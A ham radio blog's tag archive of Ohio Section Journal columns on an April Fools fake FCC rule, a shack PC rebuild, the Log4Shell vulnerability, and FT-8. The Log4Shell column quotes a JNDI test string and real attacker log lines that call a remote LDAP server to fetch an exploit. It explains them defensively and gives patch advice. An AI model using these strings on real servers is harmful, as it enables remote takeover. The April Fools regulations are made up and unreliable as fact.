Tag Archives: Soundcard

Ohio Section Journal – The Technical Coordinator – April 2024 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the Ohio section will need to use the mailing list link above.  Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).

  • Go to www.arrl.org and click the Login button.
  • Login
  • When logged in successfully, it will say “Hello <Name>” in place of the Login button where <Name> is your name.  Click your Name.  This will take you to the “My Account” page.
  • On the left hand side, under the “Communication” heading (second from the bottom), click Opt In/Out
  • To the right of the “Opt In/Out” heading, click Edit
  • Check the box next to “Division and Section News.”  If it is already checked, you are already receiving the Ohio Section Journal.
  • Click Save
  • There should now be a green check mark next to “Division and Section News.”  You’re all set!

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

Hey gang,

A couple months ago, the ARRL published news regarding the FCC amending Amateur Service rules. This change, which went into effect on December 7, 2023, removed the symbol rate (baud rate) restriction replacing it with a 2.8 kHz bandwidth limit on many HF bands. This change allows for greater flexibility, faster communication speeds, and greater options for digital modes on the low bands. Waivers are no longer needed in times of emergency temporarily granting faster communications such as later PACTOR modes.

Replacing the baud rate restriction with a bandwidth limitation on digital transmissions has brought more activity to the bands. More hams are experimenting with PACTOR. Winlink stations are utilizing the bandwidth to send in even more weekly net check-ins.

With the additional activity, there have been some unintended consequences. Stations are not checking to see if the frequency slice is available before transmitting. Other fly-by-night stations are not minding the volume level delivered to the radio leading to over modulated signals. To be fair, these have been happening for a long time and are not new challenges to efficient digital operators.

The problem with digital operation has gotten so bad the FCC is stepping in and considering a competency test for operating. Passing the test will result in issuance of digital endorsement for existing, valid, Ham Radio licensees. “This initiative will clean up the digital ham bands” according to Polly Ester at the FCC.

Winlink Wednesday check-ins (KW4SHP)

The proposed rulemaking will involve candidates completing a written exam – similar to licensing exams given for Technician, General, or Extra. A second portion will involve a lab demonstrating the candidate can operate a station within accepted limits.

Written exam is expected to be taken from a question pool of 255 questions. The randomly selected 25 question multiple choice exam can be taken at any existing VE test session. Lab portion will be administered through FCC contracted testing companies that will be able to accommodate their testing requirements.

Debate was had if the FCC was going to administer the lab on their own or contract that portion out. Prior to the VE program, exams were administered when the FCC came to town. Restarting that program was explored. However, it was decided testing centers will conduct the lab portion.

Lab portion consists of using different software, computers, and radios – demonstrating operating ability to configure popular software applications on Windows, MAC, and Linux machines. Radios by common vendors will be selected at random. Radios could be anything from modern SDR radios to boat anchors – with none of the common connectors for digital operation. Proficiencies demonstrated include: adjusting sound levels from the computer, checking audio and transmit levels using radio meters and indicators, listen and check for other signals nearby, what to do when another station does not check if the segment is clear, selecting power output appropriate for the radio and duty cycle. Finally, operating in a crowded band. Details have not been released by the NCVEC if software simulating these activities will be available for practice.

Licensed operators whom have passed the written and lab portion will receive their digital operating endorsement and can operate digital at legal limit. Operators will be required to re-test every three years to refresh skills and demonstrate proficiency.

Stations without the endorsement will be able to operate digital at a maximum of 5 watts ERP. A second option of 10 watts will be available provided the station pars with a “monitoring” station. The monitoring station provides timestamped screen shots showing the segment on the waterfall which the station was operating. This screenshot of the waterfall and textual output of the segment will show there is no monkey business at a place called shenanigans. This evidence will prove stations are who they say they are and are following regulations.

Fines for stations operating without an endorsement or those with an endorsement, but not following proper protocols, will be based on frequency. For example, operating on without an endorsement on 14.233 will be $14,233 in fines.

These new regulations should lead to less interference, more contacts, and not blowing up equipment because someone is running full power at 100% duty cycle.

Thanks for reading, April Fools, and 73… de Jeff – K8JTK

Ohio Section Journal – The Technical Coordinator – February 2023 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the Ohio section will need to use the mailing list link above.  Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).

  • Go to www.arrl.org and click the Login button.
  • Login
  • When logged in successfully, it will say “Hello <Name>” in place of the Login button where <Name> is your name.  Click your Name.  This will take you to the “My Account” page.
  • On the left hand side, under the “Communication” heading (second from the bottom), click Opt In/Out
  • To the right of the “Opt In/Out” heading, click Edit
  • Check the box next to “Division and Section News.”  If it is already checked, you are already receiving the Ohio Section Journal.
  • Click Save
  • There should now be a green check mark next to “Division and Section News.”  You’re all set!

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

Hey gang,

I finally did it. What would that be? Over the Christmas holiday, during my time-off, I cleaned and organized the shack. Unseasonably warm weather at the end of December made this job much easier. I don’t know how many years I’ve been threatening to do this. PC problems kicked off the whole cleaning process and I (finally) upgraded to Windows 10. N8SY pointed out: shouldn’t you be upgrading to Windows 11? Yeah, no.

Dust, dead bugs, miscellaneous parts from various projects, all the baggies, twist ties, and boxes are all cleaned up. Using small stackable plastic containers with lids (available at the local superstore) organized computer parts, Raspberry Pi parts, radio cables/accessories, and keep parts of a project together. Some time ago, bought a Power over Ethernet (PoE) network switch from a co-worker. Finally set that up and it’s now powering my Cisco phone used for Hamshack Hotline, Hams over IP, and AmateurWire. In addition, gained more Ethernet ports as those were in short supply.

Parts of the shack were reconfigured. I wanted a spare/second power supply. Astron stopped making their desktop switching supplies with analog meters. I found an SS-30M with analog meters on QRZ and purchased it from a local ham. That supply will be used to power network radios for AllStar Link and Wires-X. An old laptop is put back into service running the Wires-X node, full time. Wires-X was previously running on the same PC I use for operating and I didn’t want to keep that one running all the time.

I did much soul searching in regard to the shack PC. It is coming up on 10 years old. A Micro-ATX PC, Intel Core i5 4th generation (they’re up to 12th gen), 16GB RAM, 128GB SSD, and Windows 7. Due to family commitments and as a result of the shack being declared a disaster (by me), I wasn’t operating much the last 2-3 years. Most of 2022, I operated Winlink making few other contacts.

My intention was to get some operating time over the holidays and didn’t plan to spend that much time redoing things. While operating, quickly remembered ongoing problems with the PC. Cluttered with apps I was testing or no longer used, miscellaneous documents from net reports or drills – these were the least of my problems.

Lenovo ThinkCentre M900 Tiny (Lenovo)

It had serious audio issues. As someone who operates mostly digital on the HF bands, this is incredibly annoying. The Windows audio subsystem, at times, simply failed to start where a red X would be shown over the speaker icon in the system tray. This prevented any audio program from functioning. Rebooting once (or twice) would clear that issue. Random receive cycles in WSJT-X (FT8) would not decode any stations. RX cycles before would decode fine, a number following would also be fine. The waterfall looked OK (not distorted). However, at seemingly random times, there would be 0 decodes. I started to pray that a fresh install would clear these issues.

In recent years, I’ve been using smaller desktop form factor computers. Not needing to replace poor included motherboard peripherals (other than graphics cards, separate issue), NVMe M.2 storage (very fast solid-state drive), and use of USB devices, I don’t need many full sized PCs. Included motherboard peripherals, like sound and Ethernet, are very good and don’t need to be substituted with expansion cards as was the case 20 years ago. M.2 SSD storage comes in a very small form factor: 22mm x 30, 42, 60, 80, or 120mm with read/write speeds of 7,000-7,500 MBps. Good 2TB NVMe M.2 storage devices are available for $150.

IBM had an excellent reputation for producing solid hardware. That soured a little when they were sold to Lenovo. I’ve had good luck with Lenovo devices at work compared to other vendors. Lenovo’s ThinkCentre PC line are enterprise orientated machines offering mid-to-high specifications. Even though older models have reached end-of-life, Lenovo still releases BIOS updates. In comparison, most vendors release a new motherboard followed by maybe a handful of BIOS updates during its lifecycle. Continued BIOS updates address compatibility problems and patch exploits. I’m impressed their end-of-life PCs are still updated.

M.2 Solid Sate Drive – 22mm x 80mm (Wikipedia)

I looked at and purchased “renewed” Lenovo ThinkCentre Tiny PCs from Amazon, an M900 & M910Q. Amazon renewed are pre-owned and refurbished PCs resold to keep E-waste down. There are condition guidelines published by Amazon. However, as I found out, quality is left to third-party sellers and varies greatly.

This form factor measures 1.36″ x 7.20″ x 7.05″ weighing in at 1.3 lbs. (M900). Renewed M900 specs: Intel Core i5 6600T, 16GB DDR4 RAM, 512G SSD, Wi-Fi, Bluetooth 4.0, and Windows 10 Pro 64 for $422 (purchased late 2021). M910Q: Intel Core i7-6700T, 32GB RAM, 1TB NVMe SSD, DisplayPort, Wi-Fi, Bluetooth, and Windows 10 Pro was $349 (purchased mid-2022). They’ve come down quite a bit and are now $180 and $274 respectively.

While you get the chassis, motherboard, and CPU (presumably) from Lenovo, everything else is stripped from these renewed PCs. M900 had ADATA SSD and RAM, though a fairly well-known discount name they’re not OEM parts. The M910Q came with a “KingFast” M.2 SSD. That’s right, just KingFast – no model number. The M900 came with a Lenovo branded power supply while the M910Q came with an aftermarket supply that makes an audible sequel when powered. I suspect generates interference, too.

I’ve had issues restoring disk images to the KingFast drive – Acronis complains it can’t read the drive at times. Both included a keyboard and mouse but they are no-name junk. These ThinkCentre’s likely came with Wi-Fi cards from the manufacturer. Those cards are removed and substituted with USB dongles. While I am not using nor did I test any of the dongles, USB dongles for Bluetooth and Wi-Fi are generally bad only working acceptably at short ranges. Additionally, I cannot tell original configurations of these machines because service tags and serial numbers are removed.

Initially purchased these for Homelab projects (virtual machine hosts) and situations where I need a physical Windows machine when a virtual machine wouldn’t cut it. Thought these might be a good replacement for the shack PC. After using them and seeing the poor choice of components, wouldn’t trust these for much of anything. If one desired to go the route of renewed PCs, I would invest in known good replacement parts which adds to the cost. Additionally, the CPUs were only two generations newer than my existing PC. I scrapped the idea of using these or similar “renewed” PCs for my shack.

Beelink SEi8 Mini PC (Beelink)

What about new? Brand new machines like these would be great solutions in a car, camper, mobile shack, or boat due to their small form factor. With regard to USB, I need a minimum of six USB ports. While USB specifications and devices are supposed to be compatible, in practice this is rarely the case. To avoid headaches, I require USB cables controlling essential and important components (SignaLink, CI-V, mixers) be plugged directly into USB ports on the motherboard. I only use USB hubs for things I don’t consider essential (radio/scanner programming cables, RTL-SDR dongles). ThinkCentre Tiny PCs have 4 USBs in the back and 2 in the front. That number isn’t going to work for when I want to use additional devices.

I looked at Intel’s Next Unit of Computing (NUC) offering and mini PCs from BeeLink. They too did not have a sufficient number of USB ports. Using more than one small form-factor PC would be another idea. Unfortunately, don’t have room for another monitor and keyboard. If I ever found a quality keyboard, video, and mouse switch (KVM, or just the K and M), it may solve that. Also, power sources in the shack are becoming scarce. Not to mention current economic issues like higher prices, supply chain issues, shortages, and limited stock. I decided against a new PC until I discover better options or will revisit this when the economy rebounds. HA!

Deciding to keep the same PC, it was wiped and Windows 10 – LTSC installed. No hardware upgrades were performed. There wasn’t much debate for staying with Windows or going to Linux. Programs I use run natively on Windows, such as: radio programmers, scanner programmers, Winlink, Vara, Ham Radio Deluxe, and GridTracker.

Long-Term Servicing Channel (LTSC) is designed to keep the same functionality while not changing operating system features over time. LTSC is a decrapified version of consumer Windows 10, and it’s from Microsoft. It has none of the advertising. No Microsoft Store. No Cortana (virtual assistant). Telemetry still exists based on configuration screens. I used Group Policy Editor and Registry Editor to disable telemetry. A Pi-Hole, or similar, can block tracking at the network level. Consumer support for Windows 10 ends in 2025, LTSC is supported until 2027. Note: people confuse LTSC with the IoT version of Windows 10. This is probably a Microsoft branding issue. They are not the same.

An LTSC license is expensive at $210, or more. Though I did see a China based seller listing them for $19!!? – Caveat Emptor. I purchased through CDW. I’m willing to pay for bloat to be stripped from my Windows operating system. If you don’t want to play the license, that version can be found by doing some digging. I tried a number of the ways to remove bloatware in consumer versions of Windows 10 with programs and random scrips found online in the past. Removed crap often returns as part of “feature updates.” Windows 11 does not yet have an LTSC version and the reason I did not upgrade directly to 11, possibly released later this year.

A clean install of Windows 10 resolved my audio issues and my WSJT-X decode issues are gone as well. On Windows 7, switching between or launching applications would cause hesitation in applications that were running in the background. Opening the browser would cause digital programs to stop transmitting for example. That too is gone in Windows 10. I am happy with the results post upgrade.

Allow apps to access your microphone for ham radio sound card programs

There are some important settings to note in Windows 10 related to ham radio sound card programs. I’m overzealous turning off access to things that don’t need access. Most everything in Settings ? Privacy I have turned off. Doing so prevented ham radio sound card programs from functioning correctly. Programs such as: Echolink, Fldigi, DM780, FreeDV, WSJT-X, Vara, etc., etc., etc. Operating ham radio sound card programs in Windows 10 (and likely 11), Microphone access must remain enabled. Even though none of those programs are listed as accessing the microphone. While labeled Microphone, this setting prevents programs from accessing all sound input devices. These are input devices listed under the Recording tab in Sounds. Programs like SDRs use output from one program as input for TX, a double whammy.

  1. Close any programs using sound devices
  2. Go to Start -> Settings -> Privacy (Privacy & security in Windows 11) -> Microphone
  3. Set “Allow apps to access your microphone” to enabled/on
  4. Re-open programs that were using audio devices and sources

Sound card digital programs will now work. If there are still issues, move on to troubleshooting audio levels and verify correct audio sources are chosen in the respective program’s settings.

In Windows 7 and my guide for settings levels when using ham radio sound card audio programs, I recommended setting levels to 50%, or half. Some pointed out manufacturers indicated to choose the decibel scale, not the percentage scale I was referring. None of the references said why users should use that scale over percentage. After all, the slider didn’t change switching between the two scales.

After doing some digging and testing, figured it out. Different versions of Windows use different scales – even for the exact same audio device. The 50% setting will likely be different between Windows 7 and Windows 10.

Used my SignaLink to obtain these dB ranges:

  • Windows 7 – speaker (transmit audio): -128.0 dB to 0.0 dB
  • Windows 7 – microphone (radio receive audio): -192.0 dB to +30.0 dB
  • Windows 10 – speaker (transmit audio): -128.0 dB to 0.0 dB
  • Windows 10 – microphone (radio receive audio): -96.0 dB to +30.0 dB
Different scales for a SignaLink USB microphone device on Windows 7
Different scales for a SignaLink USB microphone device on Windows 10

In this case, speaker ranges are identical with -10.5 dB being 50% for both operating system versions. However, microphone input at 50% on Windows 7 is +24.0 dB. On Windows 10, +24.0 dB is roughly 96%. A wide variation and I noticed the level difference right away. Understanding this helped me translate my audio settings from Windows 7 to 10. I did find a Microsoft Learning document explaining Default Audio Volume Settings pointing out the differences in different versions of Windows.

I am very happy the shack is no longer a DMZ. My sound card digital programs are working again and I have a clean desktop install – for now, lol. Haven’t yet been consistently operating due to work and family commitments. When you do find me on the air, I’ll be (likely) logging contacts for Volunteers On The Air.

I would like to formally welcome the newest member of the Technical Specialists group, Ronald – NQ8W. He comes to us with a number of ETA International certifications in electronics, computers, and wireless communication. Ron is a former Master Electrician with degree in Mechanical Drafting. He obtained his GROL and has Emergency Communication certifications. When I talked with Ron a while ago, he was very pleased with the work of our Technical Specialists and wanted to give back with his skills. Welcome to the group!

Speaking of the Specialists. Earlier this month, I was invited to be the guest speaker at the Cuyahoga County ARES meeting. The topic: me, the Ohio Section Technical Coordinator. Not long before I was appointed Technical Specialist, I had no idea there was a technical organization at the section level. After being appointed TC, a group in Columbus asked for me to speak about ‘what does the TC do?’ Out of that came an opportunity to educate hams about the ARRL Field Organization and the work of our Technical Specialists. I had a great time at the Cuyahoga ARES meeting. There was plenty of discussion on technical topics and RFI stories (I cover troubleshooting techniques) after the presentation. If your group would like to know more about the technical and experimentation side of the Ohio Section, send me an E-mail.

Thanks for reading and 73… de Jeff – K8JTK

Ohio Section Journal – The Technical Coordinator – December 2021 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

DSCF5081 K8JTKHey gang,

Ever hear the quote from a famous computer security professional, Bruce Schneier, stating ‘vulnerabilities only ever get worse, they never get better?’ The Information Technology industry had it about as bad as it gets this month. A vulnerability in a Java logging utility, Log4j, obtained the highest severity rating, a CVSS score of 10. CVSS is a computer industry standard for rating vulnerabilities, 0 to 10 with 10 being the most severe. Dubbed Log4Shell, this trivial attack can gain shell level access to a system, described as the “the single biggest, most critical vulnerability ever” by Ars Technica.

Most any IT applications or services have a server to handle requests. This could be any of a web server, mail server, or even a game server hosted on the Internet. These servers generate logs such that administrators can review them to validate the server is functioning correctly. Logs are heavily relied upon when users report problems. Admins use logs to recreate events of the past as part of troubleshooting. This is referred to as the “/var/log” directory in Linux systems. Anytime a request is made from a device to a server, that generates a log entry. Apache web server logs contain things such as:

  • Source/users IP address
  • Date and time
  • Get or post. Get retrieves data from the resource while post does the opposite, sends data to the resource.
  • URL requested
  • HTTP status codes. This is where the 404 “not found” meme originates.
  • Size of the data returned
  • User agent which is accessing the resource, usually a browser. May include other bits like operating system information.

A real log example from my webserver where AllStar & Allmon are running (user’s IP address is replaced with 123.456.789.000):

123.456.789.000 - - [18/Dec/2021:23:41:42 +0000] "GET /server.php?nodes=1000,50394,1202,1203,1204 HTTP/1.1" 200 187395 "https://allmon2.k8jtk.org/link.php?nodes=1000,50394,1202,1203,1204" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57"

An administrator may want to take actions based on the logs. That’s where Log4j is added to the flow. The server will send logs to Log4j. Log4j parses logs. It decides to interpret or send them off for archival purposes in the file system or to a separate logging server.

A string such as the one below is passed to a web server. Log4j will act on it including download and execute any random payload that is returned.

${jndi:ldap://log4shell.huntress.com:1389/unique-identifier}

The above string similar to a test generated by the Huntress Labs Log4j/Log4Shell vulnerability tester. This is not showing how to exploit servers, anything that’s a secret, or anything that’s not already published online. In fact, the Huntress tool is open source on GitHub. If a similar string is entered into a web application and the Huntress Labs server subsequently sees a request with that unique identifier, it can be assumed the web application tested is vulnerable. A negative test does not necessarily mean the application is not vulnerable.

There is a one-liner test that can be run from the Command Line (CLI) on a Windows or Linux system called Log4j Checker. Note, however, the checker is beta code and the maintainer is not committed to maintaining the script. There is a post looking to transfer ownership as it took too much of their time.

The Huntress Labs tester is benign but the bad guys won’t be so nice. They can craft a string having Log4j reach out to any external resource, such as BadGuyMaliciousHost[dot]com, download and execute any payload the bag guys wish, effectively pwning the server (pronounced “owning”). Not everything that’s sent back to a server will be bad but there is a very high probability it will be.

Real log entries trying to exploit Log4Shell three different ways on my server are shown below. No, my web servers are not vulnerable but that doesn’t stop individuals from trying to find out. All requests originate from the same IP attempting to have the “Exploit” payload downloaded and executed on my server from another remote server. Relevant IPs are scrubbed, client is replaced with 111.222.333.444, remote server replaced with 555.666.777.888:

111.222.333.444 - - [22/Dec/2021:17:22:09 +0000] "GET /${jndi:ldap://555.666.777.888:1389/Exploit} HTTP/1.1" 404 5200 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
111.222.333.444 - - [22/Dec/2021:17:22:11 +0000] "GET / HTTP/1.1" 200 5259 "-" "${jndi:ldap://555.666.777.888:1389/Exploit}"
111.222.333.444 - - [22/Dec/2021:17:22:16 +0000] "GET /?s=${jndi:ldap://555.666.777.888:1389/Exploit} HTTP/1.1" 200 5259 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
Trivial exploit receives a trivially drawn logo in MS Paint
(Kevin Beaumont @GossiTheDog)

Servers can be attacked using a single line of text sent through a web application form, instant message, URL, chat window, or, as some clever minded individuals surmised, the name of an iPhone triggered the exploit as well. This confirmed Apple’s servers were vulnerable to attack. The device name of an iPhone was changed to a string which triggered the exploit. When the iPhone device registered and communicated with Apple’s servers, Log4j saw the string and acted upon it. Luckily the individual composed a benign payload to have Apple’s infrastructure induce a DNS request – which is something done all the time like when browsing the Internet. If that individual saw in logs, on a server he controlled, a DNS request for the hostname originating from Apple IP addresses, it’s was then known Apple’s servers were vulnerable. If there was no DNS request, could be assumed not vulnerable or the exploit was already patched.

Once a bad guy obtains access to a vulnerable system, they can do anything the user or administrator can do. Add programs, remove programs, delete files, install services to mine cryptocurrency, create botnets, send spam, and use the server in other illegal activities such as host ransomware.

Log4j needs updated immediately to log4j-2.16.0 or later on any system running an earlier version. Make sure Java is updated while you’re at it. Though patches have been released, the industry is at the mercy of vendors to release updates. A list is actively being updated of known vulnerable applications, services, appliances, and other devices. There are A LOT. If devices are found vulnerable but no updates are available, remediation steps should be taken like shutting down, replacing, or moving to an isolated network as to not be exposed to the Internet or other devices on the Local Area Network (LAN). The Canadian government shutdown nearly 4,000 websites in response. Few actions are more drastic as shutting down government websites and services. Shutting down your services and applications should not be out of the realm of possibilities.

As the cliché goes: this was a feature, not a bug in Log4j. Users wanted parsing as part of the plugin but that feature was poorly implemented. Java is the #1 development platform and runs on billions of devices according to the website. Anything running Java is potentially vulnerable. Big named companies and applications were found to be vulnerable in addition to Apple: Amazon, Tesla, Apache web servers, video game servers, Elastic Search, Twitter and no doubt thousands more.

This is not to minimize the impact of a random server setup in a closet that’s been forgotten about. They are just as vulnerable and easily exploited. As are the random Internet of Things (IoT) companies who released cheap Java based video cameras, doorbells, door lock controllers, internet connected audio devices, network devices, or digital video recorder devices – again, to name a very new. There they sit with ports forwarded from the open Internet, very likely opening a home network to attack.

Hacking a Minecraft server with Log4Shell (Huntress)

To say gamers aren’t good for anything, this exploit was first found in the very popular game called Minecraft. Someone was looking for ways to exploit Minecraft game servers. Using a malicious string in a Minecraft chat box, they were able to “pwn” the server.

Sad part in all of this: billion-dollar companies and technologies are relying on open-source programs maintained by volunteers. These volunteers bust their butts (for free) to fix this issue so that enterprises whom rely on this technology can continue to operate. If you have a commercial enterprise, it’s imperative companies should be kicking in, providing support or substantial donations to these projects.

Same is true for a favorite ham radio implementation. Provide time in testing, talent in support or quashing bugs, or treasure in donating to the project to keep the lights on. An obvious example to me is ham radio digital hotspots. Yes, you might have purchased a board or complete kit from a vendor or someone selling devices. Individuals who wrote the underlying code (G4KLX) and package it so it works as well as it does (Pi-STAR) do not see a penny from that sale. Please be generous to the projects that not only make ham radio enjoyable or advance ham radio technology, but ones you use for free in any capacity.

To that point, I found a reference to Ham-Pi containing a vulnerable Log4j version. Exposure should be minimal only being accessible on Local Area Network (LAN). In theory, the LAN should have less attack vectors. I’m sure someone has forwarded SSH, VNC, or some other port to Ham-Pi from the Internet, opening their network and devices to external attacks. Dave is going to release an update to Ham-Pi as his time allows.

As for other projects, it’s not any different across the industry, hams will be all in on a project and let the project get stale, not receiving updates. If a project is open source, searching the code for Log4j as a dependency is a sign that application is vulnerable. If the Log4j dependency can be updated externally to the latest version and the code re-compiled, that would mitigate the exploit. However, if there are only downloadable compiled binaries available – there’s no telling if it is or is not vulnerable to exploitation.

This vulnerability checked off a lot of boxes that most overlook or try to argue are non-issues. Those being: this poorly written feature has been vulnerable to exploit since 2013. This, again, proves vulnerabilities will exist for many years before someone finds them. Most will say the app is “secure.” Nothing is entirely secure, vulnerabilities just haven’t been found and aren’t known yet. Another is vulnerabilities exist only in web browsers, to say not in operating systems or other applications. While it’s true that most are disclosed because everything uses a web browser today, more eyes are looking at browsers for exploits. This is a case where it is not the web browser but a component of the Java logging framework used on backend systems.

That’s a lot of “potentially” vulnerable devices
(Kevin Beaumont @GossiTheDog)

Services and applications need to be run with least privileged accounts, non-root and non-administrative accounts. This is my gripe about many projects that run all as root and do not take the time to understand or figure out least-privileged permissions. Vulnerabilities certainly can and do exist anywhere humans have written a line of code or run a command.

I especially recommend not port forwarding from the public Internet due to reasons such as the ease of exploiting Log4Shell or any other trivially exploitable vulnerability yet to be discovered. Devices like video cameras or other IoT that require access by a few individuals should be setup with a tunnel using a private link VPN. Router and SD-WAN (software defined networking) technologies such as OpenWRT, DD-WRT, Tomato, pfSense, OPNsense, Zerotier, a Pi, or any other number of technologies that can establish a secure point-to-point tunnel eliminates exposure of devices to the Internet. Plenty of tutorials exist showing how to setup OpenVPN or Wireguard on consumer-based routing devices. There is absolutely no need to have random IoT devices on the Internet open to exploitation.

To make matters worse, I have found ham radio devices such as OpenSpots and Pi-Stars on the Internet – some with default passwords. DO NOT DO THIS (either)! These devices are setup with direct access from the Internet. Why? Users think it’s convenient. Convenience is the enemy of security. Some probably were setup with temporarily access from the Internet and never had that removed.

It is mostly unrealistic to host a web or other service for hundreds or thousands of users, requiring each to configure a VPN. A Pi-Star or AllStar node setup for club members to control would be an example. Devices hosting such services should be isolated in a proper DMZ, updated frequently, use encryption and strong passwords. For plenty of security tips and tricks, check out my October 2020 article.

Received at the K8JTK shack during the June 2021 ISS SSTV event

If you’re reading this before the end-of-the-year, there is still time to participate in the ARISS SSTV event. The International Space Station will be sending Slow Scan TV images starting Dec 26 about 18:25 UTC and ending Dec 31 about 17:05 UTC. These times are, of course, planned and subject to change based on crew schedules and availability. These events generate a lot of buzz and interest in SSTV and ham radio in general. If you don’t have a satellite tracking station, using an outdoor omni-directional antenna, an HT with 1/4 wave whip, or even better a hand-held directional (like ones used for foxhunting) will work for receiving signals.

All you need is a receiver tuned to 145.800 MHz FM, software to decode signals such as: MMSSTV on a PC (I also have getting started instructions), DroidSSTV for Android or SSTV for iOS. Satellite tracking programs such as: Gpredict or Nova on the PC, AmastDroid, or websites like N2YO and AstroViewer track the position and offer predictions of upcoming passes. When the ISS is nearly over head, start receiving images! The ARISS link above has information on uploading images for a QSL or for an award.

Thanks for reading. Happy New Year! 73… de Jeff – K8JTK

Ohio Section Journal – The Technical Coordinator – January 2019 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Scott – N8SY and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Scott has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

DSCF5081 K8JTKHey gang,

Technical Specialist, Eldon – W5UHQ, has been busy playing around with FT-8 when he’s not doing the Ohio Digital Emergency Net. FT-8 was developed by Joe Taylor – K1JT and is the popular successor to the JT-65 & JT-9 modes. It has grown like wildfire due to the reduced time to make a contact, 15-second transmit windows compared to a minute, and the poor band conditions we’re experiencing. Eldon created documentation about setting up and operating with the WSJT-X software. Last month he was asked to give a presentation for the combined meeting of the Central Ohio Operators Klub and Newark Amateur Radio Association. Eldon gave a very detailed presentation on FT-8 titled “DX Band-Aids for our Spotless Sun.” Nice play on words. With terrible band conditions, many believe FT-8 has kept interest in ham radio alive. His presentation is loaded with graphics and pictures – my kind of presentation. If you’re in the Columbus area and want a great presentation on FT-8, get in contact with Eldon. He’s been knocking out a lot of contacts with wanted DX entities like Ducie Island, Baker Island, and most recently Banana Island.

If you use the WSJT-X software for the JT modes, a recent update to Ham Radio Deluxe allows logging directly to HRD Logbook. I set this up recently and it makes things a breeze with the faster pace of the FT-8 exchange. There is a YouTube video on the Ham Radio Deluxe channel showing how to configure both programs.

A quick reminder, if you haven’t upgraded to WSJT-X 2.0 your software probably isn’t decoding any stations on FT-8 and MSK144. A major update to the program and protocol was released. Effective the first of the year, everyone should be using WSJT-X 2.0. The change increased error checking by 2-bits to help with special exchanges in structured messages.

A couple days ago, I got a question from a ham about recording audio from their Ham radio. I’ve done this for various different reasons including streaming to the popular online scanner site Broadcastify, a net controller wanted an audio copy of the net, and posting audio clips online. There are a couple programs I’ve used over the years depending on the situation. This is very useful when documenting malicious interference or a bozo on a repeater.

First, station setup. You’ll obviously need to be close enough to receive the station or repeater. Marginal signals or ones with static might sound “ok” when listening through the radio’s speaker but will sound worse when recorded and played back. White noise is created over all frequencies and will be recorded over all frequencies. A better gain antenna, one located higher, or a directional antenna would improve reception of the station. Trying to monitor your own signal through a repeater will require separation between the radio transmitting on the repeater input and the radio receiving on the output. Otherwise, the receiving radio will be desensed causing little-to-no signal to be received.

